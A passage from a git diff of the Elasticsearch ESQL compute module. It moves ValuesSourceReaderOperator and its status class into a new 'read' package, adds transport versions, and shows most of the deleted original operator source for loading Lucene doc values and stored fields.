 .../LuceneTopNSourceOperatorScoringTests.java |   3 +-
 .../lucene/LuceneTopNSourceOperatorTests.java |   3 +-
 .../lucene/TimeSeriesSourceOperatorTests.java |   3 +
 .../ValueSourceReaderTypeConversionTests.java |  17 +-
 ...ValuesSourceReaderOperatorStatusTests.java |  46 +-
 .../ValuesSourceReaderOperatorTests.java      | 153 +++-
 .../compute/operator/DriverProfileTests.java  |   6 +-
 .../compute/operator/DriverStatusTests.java   |   6 +-
 .../xpack/esql/qa/single_node/RestEsqlIT.java |   9 +-
 .../xpack/esql/action/EsqlActionTaskIT.java   |   7 +-
 .../xpack/esql/action/LookupFromIndexIT.java  |   2 +-
 .../xpack/esql/action/EsqlCapabilities.java   |   3 +-
 .../xpack/esql/action/EsqlQueryResponse.java  |   8 +-
 .../esql/enrich/AbstractLookupService.java    |  14 +-
 .../planner/EsPhysicalOperationProviders.java |   4 +-
 .../xpack/esql/plugin/EsqlPlugin.java         |   4 +-
 .../planner/LocalExecutionPlannerTests.java   |   2 +-
 37 files changed, 1312 insertions(+), 884 deletions(-)
 delete mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperator.java
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/DelegatingBlockLoaderFactory.java
 rename x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/{ => read}/TimeSeriesExtractFieldOperator.java (98%)
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatus.java
 rename x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/{ => read}/ValueSourceReaderTypeConversionTests.java (99%)
 rename x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/{ => read}/ValuesSourceReaderOperatorStatusTests.java (60%)
 rename x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/{ => read}/ValuesSourceReaderOperatorTests.java (91%)

diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java
index a4504bedb3644..d592366835c08 100644
--- a/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java
+++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java
@@ -41,7 +41,8 @@
 import org.elasticsearch.compute.data.Page;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.ShardRefCounted;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatus;
 import org.elasticsearch.compute.operator.topn.TopNOperator;
 import org.elasticsearch.core.IOUtils;
 import org.elasticsearch.index.IndexSettings;
@@ -343,7 +344,7 @@ public void benchmark() {
         );
         long sum = 0;
         for (Page page : pages) {
-            op.addInput(page);
+            op.addInput(page.shallowCopy());
             switch (name) {
                 case "long" -> {
                     LongVector values = op.getOutput().<LongBlock>getBlock(1).asVector();
@@ -411,7 +412,7 @@ public void benchmark() {
             throw new AssertionError("[" + layout + "][" + name + "] expected [" + expected + "] but was [" + sum + "]");
         }
         boolean foundStoredFieldLoader = false;
-        ValuesSourceReaderOperator.Status status = (ValuesSourceReaderOperator.Status) op.status();
+        ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) op.status();
         for (Map.Entry<String, Integer> e : status.readersBuilt().entrySet()) {
             if (e.getKey().indexOf("stored_fields") >= 0) {
                 foundStoredFieldLoader = true;
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 07bf5e3d50267..5fbbe85d1a22f 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -209,6 +209,8 @@ static TransportVersion def(int id) {
     public static final TransportVersion ML_INFERENCE_ELASTIC_DENSE_TEXT_EMBEDDINGS_ADDED_8_19 = def(8_841_0_59);
     public static final TransportVersion ML_INFERENCE_COHERE_API_VERSION_8_19 = def(8_841_0_60);
     public static final TransportVersion ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED_8_19 = def(8_841_0_61);
+    public static final TransportVersion ESQL_PROFILE_INCLUDE_PLAN_8_19 = def(8_841_0_62);
+    public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_8_19 = def(8_841_0_63);
     public static final TransportVersion V_9_0_0 = def(9_000_0_09);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_1 = def(9_000_0_10);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_2 = def(9_000_0_11);
@@ -325,6 +327,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion ML_INFERENCE_COHERE_API_VERSION = def(9_110_0_00);
     public static final TransportVersion ESQL_PROFILE_INCLUDE_PLAN = def(9_111_0_00);
     public static final TransportVersion MAPPINGS_IN_DATA_STREAMS = def(9_112_0_00);
+    public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_9_1 = def(9_112_0_01);
 
     /*
      * STOP! READ THIS FIRST! No, really,
diff --git a/x-pack/plugin/esql/compute/src/main/java/module-info.java b/x-pack/plugin/esql/compute/src/main/java/module-info.java
index c4a042d692ea1..f21ed72d7eb21 100644
--- a/x-pack/plugin/esql/compute/src/main/java/module-info.java
+++ b/x-pack/plugin/esql/compute/src/main/java/module-info.java
@@ -36,4 +36,5 @@
     exports org.elasticsearch.compute.aggregation.table;
     exports org.elasticsearch.compute.data.sort;
     exports org.elasticsearch.compute.querydsl.query;
+    exports org.elasticsearch.compute.lucene.read;
 }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperator.java
deleted file mode 100644
index 500bef6d2a597..0000000000000
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperator.java
+++ /dev/null
@@ -1,792 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-package org.elasticsearch.compute.lucene;
-
-import org.apache.lucene.index.IndexReader;
-import org.apache.lucene.index.LeafReaderContext;
-import org.apache.lucene.index.SortedDocValues;
-import org.apache.lucene.util.BytesRef;
-import org.elasticsearch.TransportVersion;
-import org.elasticsearch.common.Strings;
-import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
-import org.elasticsearch.common.io.stream.StreamInput;
-import org.elasticsearch.common.io.stream.StreamOutput;
-import org.elasticsearch.compute.data.Block;
-import org.elasticsearch.compute.data.BlockFactory;
-import org.elasticsearch.compute.data.BytesRefBlock;
-import org.elasticsearch.compute.data.DocBlock;
-import org.elasticsearch.compute.data.DocVector;
-import org.elasticsearch.compute.data.ElementType;
-import org.elasticsearch.compute.data.IntVector;
-import org.elasticsearch.compute.data.Page;
-import org.elasticsearch.compute.data.SingletonOrdinalsBuilder;
-import org.elasticsearch.compute.operator.AbstractPageMappingOperator;
-import org.elasticsearch.compute.operator.DriverContext;
-import org.elasticsearch.compute.operator.Operator;
-import org.elasticsearch.core.Releasable;
-import org.elasticsearch.core.Releasables;
-import org.elasticsearch.index.fieldvisitor.StoredFieldLoader;
-import org.elasticsearch.index.mapper.BlockLoader;
-import org.elasticsearch.index.mapper.BlockLoaderStoredFieldsFromLeafLoader;
-import org.elasticsearch.index.mapper.SourceLoader;
-import org.elasticsearch.search.fetch.StoredFieldsSpec;
-import org.elasticsearch.xcontent.XContentBuilder;
-
-import java.io.IOException;
-import java.io.UncheckedIOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.TreeMap;
-import java.util.function.IntFunction;
-import java.util.function.Supplier;
-
-import static org.elasticsearch.TransportVersions.ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED;
-import static org.elasticsearch.TransportVersions.ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED_8_19;
-
-/**
- * Operator that extracts doc_values from a Lucene index out of pages that have been produced by {@link LuceneSourceOperator}
- * and outputs them to a new column.
- */
-public class ValuesSourceReaderOperator extends AbstractPageMappingOperator {
-    /**
-     * Minimum number of documents for which it is more efficient to use a
-     * sequential stored field reader when reading stored fields.
-     * <p>
-     *     The sequential stored field reader decompresses a whole block of docs
-     *     at a time so for very short lists it won't be faster to use it. We use
-     *     {@code 10} documents as the boundary for "very short" because it's what
-     *     search does, not because we've done extensive testing on the number.
-     * </p>
-     */
-    static final int SEQUENTIAL_BOUNDARY = 10;
-
-    /**
-     * Creates a factory for {@link ValuesSourceReaderOperator}.
-     * @param fields fields to load
-     * @param shardContexts per-shard loading information
-     * @param docChannel the channel containing the shard, leaf/segment and doc id
-     */
-    public record Factory(List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel) implements OperatorFactory {
-        @Override
-        public Operator get(DriverContext driverContext) {
-            return new ValuesSourceReaderOperator(driverContext.blockFactory(), fields, shardContexts, docChannel);
-        }
-
-        @Override
-        public String describe() {
-            StringBuilder sb = new StringBuilder();
-            sb.append("ValuesSourceReaderOperator[fields = [");
-            if (fields.size() < 10) {
-                boolean first = true;
-                for (FieldInfo f : fields) {
-                    if (first) {
-                        first = false;
-                    } else {
-                        sb.append(", ");
-                    }
-                    sb.append(f.name);
-                }
-            } else {
-                sb.append(fields.size()).append(" fields");
-            }
-            return sb.append("]]").toString();
-        }
-    }
-
-    /**
-     * Configuration for a field to load.
-     *
-     * {@code blockLoader} maps shard index to the {@link BlockLoader}s
-     * which load the actual blocks.
-     */
-    public record FieldInfo(String name, ElementType type, IntFunction<BlockLoader> blockLoader) {}
-
-    public record ShardContext(IndexReader reader, Supplier<SourceLoader> newSourceLoader, double storedFieldsSequentialProportion) {}
-
-    private final FieldWork[] fields;
-    private final List<ShardContext> shardContexts;
-    private final int docChannel;
-    private final BlockFactory blockFactory;
-
-    private final Map<String, Integer> readersBuilt = new TreeMap<>();
-    private long valuesLoaded;
-
-    int lastShard = -1;
-    int lastSegment = -1;
-
-    /**
-     * Creates a new extractor
-     * @param fields fields to load
-     * @param docChannel the channel containing the shard, leaf/segment and doc id
-     */
-    public ValuesSourceReaderOperator(BlockFactory blockFactory, List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel) {
-        this.fields = fields.stream().map(f -> new FieldWork(f)).toArray(FieldWork[]::new);
-        this.shardContexts = shardContexts;
-        this.docChannel = docChannel;
-        this.blockFactory = blockFactory;
-    }
-
-    @Override
-    protected Page process(Page page) {
-        DocVector docVector = page.<DocBlock>getBlock(docChannel).asVector();
-
-        Block[] blocks = new Block[fields.length];
-        boolean success = false;
-        try {
-            if (docVector.singleSegmentNonDecreasing()) {
-                IntVector docs = docVector.docs();
-                int shard = docVector.shards().getInt(0);
-                int segment = docVector.segments().getInt(0);
-                loadFromSingleLeaf(blocks, shard, segment, new BlockLoader.Docs() {
-                    @Override
-                    public int count() {
-                        return docs.getPositionCount();
-                    }
-
-                    @Override
-                    public int get(int i) {
-                        return docs.getInt(i);
-                    }
-                });
-            } else if (docVector.singleSegment()) {
-                loadFromSingleLeafUnsorted(blocks, docVector);
-            } else {
-                try (LoadFromMany many = new LoadFromMany(blocks, docVector)) {
-                    many.run();
-                }
-            }
-            success = true;
-            for (Block b : blocks) {
-                valuesLoaded += b.getTotalValueCount();
-            }
-            return page.appendBlocks(blocks);
-        } catch (IOException e) {
-            throw new UncheckedIOException(e);
-        } finally {
-            if (success == false) {
-                Releasables.closeExpectNoException(blocks);
-            }
-        }
-    }
-
-    private void positionFieldWork(int shard, int segment, int firstDoc) {
-        if (lastShard == shard) {
-            if (lastSegment == segment) {
-                for (FieldWork w : fields) {
-                    w.sameSegment(firstDoc);
-                }
-                return;
-            }
-            lastSegment = segment;
-            for (FieldWork w : fields) {
-                w.sameShardNewSegment();
-            }
-            return;
-        }
-        lastShard = shard;
-        lastSegment = segment;
-        for (FieldWork w : fields) {
-            w.newShard(shard);
-        }
-    }
-
-    private boolean positionFieldWorkDocGuarteedAscending(int shard, int segment) {
-        if (lastShard == shard) {
-            if (lastSegment == segment) {
-                return false;
-            }
-            lastSegment = segment;
-            for (FieldWork w : fields) {
-                w.sameShardNewSegment();
-            }
-            return true;
-        }
-        lastShard = shard;
-        lastSegment = segment;
-        for (FieldWork w : fields) {
-            w.newShard(shard);
-        }
-        return true;
-    }
-
-    private void loadFromSingleLeaf(Block[] blocks, int shard, int segment, BlockLoader.Docs docs) throws IOException {
-        int firstDoc = docs.get(0);
-        positionFieldWork(shard, segment, firstDoc);
-        StoredFieldsSpec storedFieldsSpec = StoredFieldsSpec.NO_REQUIREMENTS;
-        List<RowStrideReaderWork> rowStrideReaders = new ArrayList<>(fields.length);
-        LeafReaderContext ctx = ctx(shard, segment);
-        try (ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(blockFactory, docs.count())) {
-            for (int f = 0; f < fields.length; f++) {
-                FieldWork field = fields[f];
-                BlockLoader.ColumnAtATimeReader columnAtATime = field.columnAtATime(ctx);
-                if (columnAtATime != null) {
-                    blocks[f] = (Block) columnAtATime.read(loaderBlockFactory, docs);
-                    sanityCheckBlock(columnAtATime, docs.count(), blocks[f], f);
-                } else {
-                    rowStrideReaders.add(
-                        new RowStrideReaderWork(
-                            field.rowStride(ctx),
-                            (Block.Builder) field.loader.builder(loaderBlockFactory, docs.count()),
-                            field.loader,
-                            f
-                        )
-                    );
-                    storedFieldsSpec = storedFieldsSpec.merge(field.loader.rowStrideStoredFieldSpec());
-                }
-            }
-
-            SourceLoader sourceLoader = null;
-            ShardContext shardContext = shardContexts.get(shard);
-            if (storedFieldsSpec.requiresSource()) {
-                sourceLoader = shardContext.newSourceLoader.get();
-                storedFieldsSpec = storedFieldsSpec.merge(new StoredFieldsSpec(true, false, sourceLoader.requiredStoredFields()));
-            }
-
-            if (rowStrideReaders.isEmpty()) {
-                return;
-            }
-            if (storedFieldsSpec.equals(StoredFieldsSpec.NO_REQUIREMENTS)) {
-                throw new IllegalStateException(
-                    "found row stride readers [" + rowStrideReaders + "] without stored fields [" + storedFieldsSpec + "]"
-                );
-            }
-            StoredFieldLoader storedFieldLoader;
-            if (useSequentialStoredFieldsReader(docs, shardContext.storedFieldsSequentialProportion())) {
-                storedFieldLoader = StoredFieldLoader.fromSpecSequential(storedFieldsSpec);
-                trackStoredFields(storedFieldsSpec, true);
-            } else {
-                storedFieldLoader = StoredFieldLoader.fromSpec(storedFieldsSpec);
-                trackStoredFields(storedFieldsSpec, false);
-            }
-            BlockLoaderStoredFieldsFromLeafLoader storedFields = new BlockLoaderStoredFieldsFromLeafLoader(
-                storedFieldLoader.getLoader(ctx, null),
-                sourceLoader != null ? sourceLoader.leaf(ctx.reader(), null) : null
-            );
-            for (int p = 0; p < docs.count(); p++) {
-                int doc = docs.get(p);
-                storedFields.advanceTo(doc);
-                for (RowStrideReaderWork work : rowStrideReaders) {
-                    work.read(doc, storedFields);
-                }
-            }
-            for (RowStrideReaderWork work : rowStrideReaders) {
-                blocks[work.offset] = work.build();
-                sanityCheckBlock(work.reader, docs.count(), blocks[work.offset], work.offset);
-            }
-        } finally {
-            Releasables.close(rowStrideReaders);
-        }
-    }
-
-    private void loadFromSingleLeafUnsorted(Block[] blocks, DocVector docVector) throws IOException {
-        IntVector docs = docVector.docs();
-        int[] forwards = docVector.shardSegmentDocMapForwards();
-        int shard = docVector.shards().getInt(0);
-        int segment = docVector.segments().getInt(0);
-        loadFromSingleLeaf(blocks, shard, segment, new BlockLoader.Docs() {
-            @Override
-            public int count() {
-                return docs.getPositionCount();
-            }
-
-            @Override
-            public int get(int i) {
-                return docs.getInt(forwards[i]);
-            }
-        });
-        final int[] backwards = docVector.shardSegmentDocMapBackwards();
-        for (int i = 0; i < blocks.length; i++) {
-            Block in = blocks[i];
-            blocks[i] = in.filter(backwards);
-            in.close();
-        }
-    }
-
-    private class LoadFromMany implements Releasable {
-        private final Block[] target;
-        private final IntVector shards;
-        private final IntVector segments;
-        private final IntVector docs;
-        private final int[] forwards;
-        private final int[] backwards;
-        private final Block.Builder[][] builders;
-        private final BlockLoader[][] converters;
-        private final Block.Builder[] fieldTypeBuilders;
-        private final BlockLoader.RowStrideReader[] rowStride;
-
-        BlockLoaderStoredFieldsFromLeafLoader storedFields;
-
-        LoadFromMany(Block[] target, DocVector docVector) {
-            this.target = target;
-            shards = docVector.shards();
-            segments = docVector.segments();
-            docs = docVector.docs();
-            forwards = docVector.shardSegmentDocMapForwards();
-            backwards = docVector.shardSegmentDocMapBackwards();
-            fieldTypeBuilders = new Block.Builder[target.length];
-            builders = new Block.Builder[target.length][shardContexts.size()];
-            converters = new BlockLoader[target.length][shardContexts.size()];
-            rowStride = new BlockLoader.RowStrideReader[target.length];
-        }
-
-        void run() throws IOException {
-            for (int f = 0; f < fields.length; f++) {
-                /*
-                 * Important note: each field has a desired type, which might not match the mapped type (in the case of union-types).
-                 * We create the final block builders using the desired type, one for each field, but then also use inner builders
-                 * (one for each field and shard), and converters (again one for each field and shard) to actually perform the field
-                 * loading in a way that is correct for the mapped field type, and then convert between that type and the desired type.
-                 */
-                fieldTypeBuilders[f] = fields[f].info.type.newBlockBuilder(docs.getPositionCount(), blockFactory);
-                builders[f] = new Block.Builder[shardContexts.size()];
-                converters[f] = new BlockLoader[shardContexts.size()];
-            }
-            try (ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(blockFactory, docs.getPositionCount())) {
-                int p = forwards[0];
-                int shard = shards.getInt(p);
-                int segment = segments.getInt(p);
-                int firstDoc = docs.getInt(p);
-                positionFieldWork(shard, segment, firstDoc);
-                LeafReaderContext ctx = ctx(shard, segment);
-                fieldsMoved(ctx, shard);
-                verifyBuilders(loaderBlockFactory, shard);
-                read(firstDoc, shard);
-                for (int i = 1; i < forwards.length; i++) {
-                    p = forwards[i];
-                    shard = shards.getInt(p);
-                    segment = segments.getInt(p);
-                    boolean changedSegment = positionFieldWorkDocGuarteedAscending(shard, segment);
-                    if (changedSegment) {
-                        ctx = ctx(shard, segment);
-                        fieldsMoved(ctx, shard);
-                    }
-                    verifyBuilders(loaderBlockFactory, shard);
-                    read(docs.getInt(p), shard);
-                }
-            }
-            for (int f = 0; f < target.length; f++) {
-                for (int s = 0; s < shardContexts.size(); s++) {
-                    if (builders[f][s] != null) {
-                        try (Block orig = (Block) converters[f][s].convert(builders[f][s].build())) {
-                            fieldTypeBuilders[f].copyFrom(orig, 0, orig.getPositionCount());
-                        }
-                    }
-                }
-                try (Block targetBlock = fieldTypeBuilders[f].build()) {
-                    target[f] = targetBlock.filter(backwards);
-                }
-                sanityCheckBlock(rowStride[f], docs.getPositionCount(), target[f], f);
-            }
-        }
-
-        private void fieldsMoved(LeafReaderContext ctx, int shard) throws IOException {
-            StoredFieldsSpec storedFieldsSpec = StoredFieldsSpec.NO_REQUIREMENTS;
-            for (int f = 0; f < fields.length; f++) {
-                FieldWork field = fields[f];
-                rowStride[f] = field.rowStride(ctx);
-                storedFieldsSpec = storedFieldsSpec.merge(field.loader.rowStrideStoredFieldSpec());
-            }
-            SourceLoader sourceLoader = null;
-            if (storedFieldsSpec.requiresSource()) {
-                sourceLoader = shardContexts.get(shard).newSourceLoader.get();
-                storedFieldsSpec = storedFieldsSpec.merge(new StoredFieldsSpec(true, false, sourceLoader.requiredStoredFields()));
-            }
-            storedFields = new BlockLoaderStoredFieldsFromLeafLoader(
-                StoredFieldLoader.fromSpec(storedFieldsSpec).getLoader(ctx, null),
-                sourceLoader != null ? sourceLoader.leaf(ctx.reader(), null) : null
-            );
-            if (false == storedFieldsSpec.equals(StoredFieldsSpec.NO_REQUIREMENTS)) {
-                trackStoredFields(storedFieldsSpec, false);
-            }
-        }
-
-        private void verifyBuilders(ComputeBlockLoaderFactory loaderBlockFactory, int shard) {
-            for (int f = 0; f < fields.length; f++) {
-                if (builders[f][shard] == null) {
-                    // Note that this relies on field.newShard() to set the loader and converter correctly for the current shard
-                    builders[f][shard] = (Block.Builder) fields[f].loader.builder(loaderBlockFactory, docs.getPositionCount());
-                    converters[f][shard] = fields[f].loader;
-                }
-            }
-        }
-
-        private void read(int doc, int shard) throws IOException {
-            storedFields.advanceTo(doc);
-            for (int f = 0; f < builders.length; f++) {
-                rowStride[f].read(doc, storedFields, builders[f][shard]);
-            }
-        }
-
-        @Override
-        public void close() {
-            Releasables.closeExpectNoException(fieldTypeBuilders);
-            for (int f = 0; f < fields.length; f++) {
-                Releasables.closeExpectNoException(builders[f]);
-            }
-        }
-    }
-
-    /**
-     * Is it more efficient to use a sequential stored field reader
-     * when reading stored fields for the documents contained in {@code docIds}?
-     */
-    private boolean useSequentialStoredFieldsReader(BlockLoader.Docs docs, double storedFieldsSequentialProportion) {
-        int count = docs.count();
-        if (count < SEQUENTIAL_BOUNDARY) {
-            return false;
-        }
-        int range = docs.get(count - 1) - docs.get(0);
-        return range * storedFieldsSequentialProportion <= count;
-    }
-
-    private void trackStoredFields(StoredFieldsSpec spec, boolean sequential) {
-        readersBuilt.merge(
-            "stored_fields["
-                + "requires_source:"
-                + spec.requiresSource()
-                + ", fields:"
-                + spec.requiredStoredFields().size()
-                + ", sequential: "
-                + sequential
-                + "]",
-            1,
-            (prev, one) -> prev + one
-        );
-    }
-
-    private class FieldWork {
-        final FieldInfo info;
-
-        BlockLoader loader;
-        BlockLoader.ColumnAtATimeReader columnAtATime;
-        BlockLoader.RowStrideReader rowStride;
-
-        FieldWork(FieldInfo info) {
-            this.info = info;
-        }
-
-        void sameSegment(int firstDoc) {
-            if (columnAtATime != null && columnAtATime.canReuse(firstDoc) == false) {
-                columnAtATime = null;
-            }
-            if (rowStride != null && rowStride.canReuse(firstDoc) == false) {
-                rowStride = null;
-            }
-        }
-
-        void sameShardNewSegment() {
-            columnAtATime = null;
-            rowStride = null;
-        }
-
-        void newShard(int shard) {
-            loader = info.blockLoader.apply(shard);
-            columnAtATime = null;
-            rowStride = null;
-        }
-
-        BlockLoader.ColumnAtATimeReader columnAtATime(LeafReaderContext ctx) throws IOException {
-            if (columnAtATime == null) {
-                columnAtATime = loader.columnAtATimeReader(ctx);
-                trackReader("column_at_a_time", this.columnAtATime);
-            }
-            return columnAtATime;
-        }
-
-        BlockLoader.RowStrideReader rowStride(LeafReaderContext ctx) throws IOException {
-            if (rowStride == null) {
-                rowStride = loader.rowStrideReader(ctx);
-                trackReader("row_stride", this.rowStride);
-            }
-            return rowStride;
-        }
-
-        private void trackReader(String type, BlockLoader.Reader reader) {
-            readersBuilt.merge(info.name + ":" + type + ":" + reader, 1, (prev, one) -> prev + one);
-        }
-    }
-
-    private record RowStrideReaderWork(BlockLoader.RowStrideReader reader, Block.Builder builder, BlockLoader loader, int offset)
-        implements
-            Releasable {
-        void read(int doc, BlockLoaderStoredFieldsFromLeafLoader storedFields) throws IOException {
-            reader.read(doc, storedFields, builder);
-        }
-
-        Block build() {
-            return (Block) loader.convert(builder.build());
-        }
-
-        @Override
-        public void close() {
-            builder.close();
-        }
-    }
-
-    private LeafReaderContext ctx(int shard, int segment) {
-        return shardContexts.get(shard).reader().leaves().get(segment);
-    }
-
-    @Override
-    public String toString() {
-        StringBuilder sb = new StringBuilder();
-        sb.append("ValuesSourceReaderOperator[fields = [");
-        if (fields.length < 10) {
-            boolean first = true;
-            for (FieldWork f : fields) {
-                if (first) {
-                    first = false;
-                } else {
-                    sb.append(", ");
-                }
-                sb.append(f.info.name);
-            }
-        } else {
-            sb.append(fields.length).append(" fields");
-        }
-        return sb.append("]]").toString();
-    }
-
-    @Override
-    protected Status status(long processNanos, int pagesProcessed, long rowsReceived, long rowsEmitted) {
-        return new Status(new TreeMap<>(readersBuilt), processNanos, pagesProcessed, rowsReceived, rowsEmitted, valuesLoaded);
-    }
-
-    /**
-     * Quick checks for on the loaded block to make sure it looks reasonable.
-     * @param loader the object that did the loading - we use it to make error messages if the block is busted
-     * @param expectedPositions how many positions the block should have - it's as many as the incoming {@link Page} has
-     * @param block the block to sanity check
-     * @param field offset into the {@link #fields} array for the block being loaded
-     */
-    private void sanityCheckBlock(Object loader, int expectedPositions, Block block, int field) {
-        if (block.getPositionCount() != expectedPositions) {
-            throw new IllegalStateException(
-                sanityCheckBlockErrorPrefix(loader, block, field)
-                    + " has ["
-                    + block.getPositionCount()
-                    + "] positions instead of ["
-                    + expectedPositions
-                    + "]"
-            );
-        }
-        if (block.elementType() != ElementType.NULL && block.elementType() != fields[field].info.type) {
-            throw new IllegalStateException(
-                sanityCheckBlockErrorPrefix(loader, block, field)
-                    + "'s element_type ["
-                    + block.elementType()
-                    + "] NOT IN (NULL, "
-                    + fields[field].info.type
-                    + ")"
-            );
-        }
-    }
-
-    private String sanityCheckBlockErrorPrefix(Object loader, Block block, int field) {
-        return fields[field].info.name + "[" + loader + "]: " + block;
-    }
-
-    public static class Status extends AbstractPageMappingOperator.Status {
-        public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
-            Operator.Status.class,
-            "values_source_reader",
-            Status::new
-        );
-
-        private final Map<String, Integer> readersBuilt;
-        private final long valuesLoaded;
-
-        Status(
-            Map<String, Integer> readersBuilt,
-            long processNanos,
-            int pagesProcessed,
-            long rowsReceived,
-            long rowsEmitted,
-            long valuesLoaded
-        ) {
-            super(processNanos, pagesProcessed, rowsReceived, rowsEmitted);
-            this.readersBuilt = readersBuilt;
-            this.valuesLoaded = valuesLoaded;
-        }
-
-        Status(StreamInput in) throws IOException {
-            super(in);
-            readersBuilt = in.readOrderedMap(StreamInput::readString, StreamInput::readVInt);
-            valuesLoaded = supportsValuesLoaded(in.getTransportVersion()) ? in.readVLong() : 0;
-        }
-
-        @Override
-        public void writeTo(StreamOutput out) throws IOException {
-            super.writeTo(out);
-            out.writeMap(readersBuilt, StreamOutput::writeVInt);
-            if (supportsValuesLoaded(out.getTransportVersion())) {
-                out.writeVLong(valuesLoaded);
-            }
-        }
-
-        private static boolean supportsValuesLoaded(TransportVersion version) {
-            return version.onOrAfter(ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED)
-                || version.isPatchFrom(ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED_8_19);
-        }
-
-        @Override
-        public String getWriteableName() {
-            return ENTRY.name;
-        }
-
-        public Map<String, Integer> readersBuilt() {
-            return readersBuilt;
-        }
-
-        @Override
-        public long valuesLoaded() {
-            return valuesLoaded;
-        }
-
-        @Override
-        public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
-            builder.startObject();
-            builder.startObject("readers_built");
-            for (Map.Entry<String, Integer> e : readersBuilt.entrySet()) {
-                builder.field(e.getKey(), e.getValue());
-            }
-            builder.endObject();
-            builder.field("values_loaded", valuesLoaded);
-            innerToXContent(builder);
-            return builder.endObject();
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (super.equals(o) == false) return false;
-            Status status = (Status) o;
-            return readersBuilt.equals(status.readersBuilt) && valuesLoaded == status.valuesLoaded;
-        }
-
-        @Override
-        public int hashCode() {
-            return Objects.hash(super.hashCode(), readersBuilt, valuesLoaded);
-        }
-
-        @Override
-        public String toString() {
-            return Strings.toString(this);
-        }
-    }
-
-    private static class ComputeBlockLoaderFactory extends DelegatingBlockLoaderFactory implements Releasable {
-        private final int pageSize;
-        private Block nullBlock;
-
-        private ComputeBlockLoaderFactory(BlockFactory factory, int pageSize) {
-            super(factory);
-            this.pageSize = pageSize;
-        }
-
-        @Override
-        public Block constantNulls() {
-            if (nullBlock == null) {
-                nullBlock = factory.newConstantNullBlock(pageSize);
-            }
-            nullBlock.incRef();
-            return nullBlock;
-        }
-
-        @Override
-        public void close() {
-            if (nullBlock != null) {
-                nullBlock.close();
-            }
-        }
-
-        @Override
-        public BytesRefBlock constantBytes(BytesRef value) {
-            return factory.newConstantBytesRefBlockWith(value, pageSize);
-        }
-    }
-
-    public abstract static class DelegatingBlockLoaderFactory implements BlockLoader.BlockFactory {
-        protected final BlockFactory factory;
-
-        protected DelegatingBlockLoaderFactory(BlockFactory factory) {
-            this.factory = factory;
-        }
-
-        @Override
-        public BlockLoader.BooleanBuilder booleansFromDocValues(int expectedCount) {
-            return factory.newBooleanBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
-        }
-
-        @Override
-        public BlockLoader.BooleanBuilder booleans(int expectedCount) {
-            return factory.newBooleanBlockBuilder(expectedCount);
-        }
-
-        @Override
-        public BlockLoader.BytesRefBuilder bytesRefsFromDocValues(int expectedCount) {
